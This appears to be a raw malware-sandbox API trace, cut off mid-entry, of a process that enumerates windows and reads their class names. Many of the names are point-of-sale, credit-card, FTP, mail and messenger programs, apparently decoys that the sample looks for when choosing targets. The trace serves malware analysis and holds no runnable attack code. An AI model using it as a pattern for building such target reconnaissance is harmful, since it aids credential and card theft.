[0148.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.358] Sleep (dwMilliseconds=0x64) [0150.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.183] Sleep (dwMilliseconds=0x64) [0150.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.184] Sleep (dwMilliseconds=0x64) [0150.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.186] Sleep (dwMilliseconds=0x64) [0150.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.191] Sleep (dwMilliseconds=0x64) [0150.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0150.192] Sleep (dwMilliseconds=0x64) [0150.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) returned 1 [0150.196] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0150.196] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0150.196] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0150.196] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.196] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.196] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.196] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.197] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.197] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0150.197] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.197] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0150.197] GetClassNameA (in: hWnd=0x10176, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0150.197] GetClassNameA (in: hWnd=0x10168, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0150.197] GetClassNameA (in: hWnd=0x10158, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0150.197] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.197] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0150.197] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0150.197] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0150.197] GetClassNameA (in: hWnd=0x10184, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0150.197] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0150.198] GetClassNameA (in: hWnd=0x100ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.198] GetClassNameA (in: hWnd=0x10090, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.198] GetClassNameA (in: hWnd=0x10084, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.198] GetClassNameA (in: hWnd=0x100c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.198] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.198] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.198] GetClassNameA (in: hWnd=0x100a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.198] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.198] GetClassNameA (in: hWnd=0x100c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.198] GetClassNameA (in: hWnd=0x20078, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0150.198] GetClassNameA (in: hWnd=0x100c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0150.198] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0150.198] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.198] GetClassNameA (in: hWnd=0x202e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0150.199] GetClassNameA (in: hWnd=0x30308, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0150.199] GetClassNameA (in: hWnd=0x20332, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-007CCDB8-956e40d") returned 28 [0150.199] GetClassNameA (in: hWnd=0x40194, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0150.199] GetClassNameA (in: hWnd=0x5020c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.199] GetClassNameA (in: hWnd=0x1037a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="often_far_on_cls") returned 16 [0150.199] GetClassNameA (in: hWnd=0x10378, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="utg2_class") returned 10 [0150.199] GetClassNameA (in: hWnd=0x20210, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Senseunderstandwnd") returned 18 [0150.199] GetClassNameA (in: hWnd=0x10374, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spgagentservice_cls") returned 19 [0150.199] GetClassNameA (in: hWnd=0x10342, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0150.199] GetClassNameA (in: hWnd=0x10370, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0150.199] GetClassNameA (in: hWnd=0x10362, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="isspos_class") returned 12 [0150.199] GetClassNameA (in: hWnd=0x10334, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="active-charge_wnd") returned 17 [0150.199] GetClassNameA (in: hWnd=0x10366, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="mxslipstreamcls") returned 15 [0150.200] GetClassNameA (in: hWnd=0x1036a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="omnipos_wnd") returned 11 [0150.200] GetClassNameA (in: hWnd=0x1035c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fpos_cls") returned 8 [0150.200] GetClassNameA (in: hWnd=0x1032c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="winscp_") returned 7 [0150.200] GetClassNameA (in: hWnd=0x10356, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="edcsvr_app") returned 10 [0150.200] GetClassNameA (in: hWnd=0x10352, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="creditservice_class") returned 19 [0150.200] GetClassNameA (in: hWnd=0x10326, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_class") returned 20 [0150.200] GetClassNameA (in: hWnd=0x10388, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0150.200] GetClassNameA (in: hWnd=0x10316, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0150.200] GetClassNameA (in: hWnd=0x1034c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ccv_server_") returned 11 [0150.200] GetClassNameA (in: hWnd=0x10348, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="centralcreditcardwnd") returned 20 [0150.200] GetClassNameA (in: hWnd=0x10310, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="trillian_cls") returned 12 [0150.200] GetClassNameA (in: hWnd=0x10340, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="aldelowin") returned 9 [0150.200] GetClassNameA (in: hWnd=0x1030c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="smartftpcls") returned 11 [0150.200] GetClassNameA (in: hWnd=0x10336, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="accuposwin") returned 10 [0150.201] GetClassNameA (in: hWnd=0x10300, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="skype_win") returned 9 [0150.201] GetClassNameA (in: hWnd=0x10320, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="whatsappwindow") returned 14 [0150.201] GetClassNameA (in: hWnd=0x10312, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0150.201] GetClassNameA (in: hWnd=0x10302, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="scriptftpwindow") returned 15 [0150.201] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="outlook_win") returned 11 [0150.201] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="leechftp_class") returned 14 [0150.201] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="pidginwnd") returned 9 [0150.201] GetClassNameA (in: hWnd=0x102da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0150.201] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="operamail_cls") returned 13 [0150.201] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ncftpapp") returned 8 [0150.201] GetClassNameA (in: hWnd=0x102c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="flashfxp_win") returned 12 [0150.201] GetClassNameA (in: hWnd=0x102e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="notepad_win") returned 11 [0150.201] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="filezilla_") returned 10 [0150.202] GetClassNameA (in: hWnd=0x102ce, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="gmailnotifierpro_class") returned 22 [0150.202] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_win") returned 18 [0150.202] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0150.202] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fling_") returned 6 [0150.202] GetClassNameA (in: hWnd=0x102ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coreftpclass") returned 12 [0150.202] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="farwnd") returned 6 [0150.202] GetClassNameA (in: hWnd=0x102ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="bitkinex_wnd") returned 12 [0150.202] GetClassNameA (in: hWnd=0x102a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0150.202] GetClassNameA (in: hWnd=0x1029c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="3dftp_app") returned 9 [0150.202] GetClassNameA (in: hWnd=0x1029a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_window") returned 21 [0150.202] GetClassNameA (in: hWnd=0x10282, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Hundredmarriageclass") returned 20 [0150.202] GetClassNameA (in: hWnd=0x10272, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="causewnd") returned 8 [0150.202] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="walloil") returned 7 [0150.202] GetClassNameA (in: hWnd=0x10280, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="stock_Decide_Improve_cls") returned 24 [0150.203] GetClassNameA (in: hWnd=0x10270, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Green_hard_wind_wnd") returned 19 [0150.203] GetClassNameA (in: hWnd=0x10256, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="his_window") returned 10 [0150.203] GetClassNameA (in: hWnd=0x10254, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ProductRepublicanamountclass") returned 28 [0150.203] GetClassNameA (in: hWnd=0x10250, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="if_return_class") returned 15 [0150.203] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="FiveAddToowindow") returned 16 [0150.203] GetClassNameA (in: hWnd=0x10226, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="YardBeclass") returned 11 [0150.203] GetClassNameA (in: hWnd=0x10240, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="sourcewindow") returned 12 [0150.203] GetClassNameA (in: hWnd=0x10220, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shothotwnd") returned 10 [0150.203] GetClassNameA (in: hWnd=0x10242, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="on_Walk_cls") returned 11 [0150.203] GetClassNameA (in: hWnd=0x10234, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="chanceEverybodyemployeeclass") returned 28 [0150.203] GetClassNameA (in: hWnd=0x10236, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="right_Forget_win") returned 16 [0150.203] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coursesimilarAreacls") returned 20 [0150.203] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Instead_able_light_wnd") returned 22 [0150.204] GetClassNameA (in: hWnd=0x10218, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Account_") returned 8 [0150.204] GetClassNameA (in: hWnd=0x10216, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Task") returned 4 [0150.204] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplyOurstrategy") returned 16 [0150.204] GetClassNameA (in: hWnd=0x2013c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.204] GetClassNameA (in: hWnd=0x2012c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.204] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.204] GetClassNameA (in: hWnd=0x20132, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.205] GetClassNameA (in: hWnd=0x3002c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0150.205] GetClassNameA (in: hWnd=0x701f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.205] GetClassNameA (in: hWnd=0x2031c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.205] GetClassNameA (in: hWnd=0x501e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0150.205] GetClassNameA (in: hWnd=0x20144, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0150.205] GetClassNameA (in: hWnd=0x400f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0150.205] GetClassNameA (in: hWnd=0x801ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.205] GetClassNameA (in: hWnd=0x401fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.205] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.205] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.205] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.205] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0150.207] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.207] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0150.207] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0150.207] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.207] GetClassNameA (in: hWnd=0x10148, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0150.207] GetClassNameA (in: hWnd=0x10118, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0150.207] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.207] GetClassNameA (in: hWnd=0x10116, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0150.207] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.207] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.208] GetClassNameA (in: hWnd=0x10114, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0150.208] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0150.208] GetClassNameA (in: hWnd=0x100ee, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0150.208] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0150.208] GetClassNameA (in: hWnd=0x100e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.208] GetClassNameA (in: hWnd=0x100e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.208] GetClassNameA (in: hWnd=0x100de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.208] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0150.208] GetClassNameA (in: hWnd=0x100be, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0150.208] GetClassNameA (in: hWnd=0xb033e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0150.208] GetClassNameA (in: hWnd=0x20020, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0150.208] GetClassNameA (in: hWnd=0x30016, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0150.208] GetClassNameA (in: hWnd=0x20028, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0150.208] GetClassNameA (in: hWnd=0x2004a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0150.209] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0150.209] GetClassNameA (in: hWnd=0x10072, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0150.209] GetClassNameA (in: hWnd=0x1006e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0150.209] GetClassNameA (in: hWnd=0x10022, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0150.209] GetClassNameA (in: hWnd=0x10192, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0150.209] GetClassNameA (in: hWnd=0x3030e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0150.209] GetClassNameA (in: hWnd=0x100cc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0150.209] GetClassNameA (in: hWnd=0x10136, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.209] GetClassNameA (in: hWnd=0x10178, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.209] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.209] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.209] GetClassNameA (in: hWnd=0x10186, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.209] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0150.210] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x202e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x30296, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x103a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x103a6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x103a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x103a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x103a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x1039e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x1039c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x1039a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x10398, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x10396, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.210] GetClassNameA (in: hWnd=0x10394, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x10392, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x10390, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x1038e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x1038c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x1038a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x10386, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x10384, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x10382, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x10380, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x1037e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x1037c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.211] GetClassNameA (in: hWnd=0x1036c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x10360, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x10358, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x1034e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x10344, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x1033a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x10338, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x1032e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x1032a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x10322, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x1031a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x10318, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x10314, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.212] GetClassNameA (in: hWnd=0x10306, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x102fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x102fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x102ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x102de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x102c2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0150.213] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x1014fd50, nMaxCount=260 | out: 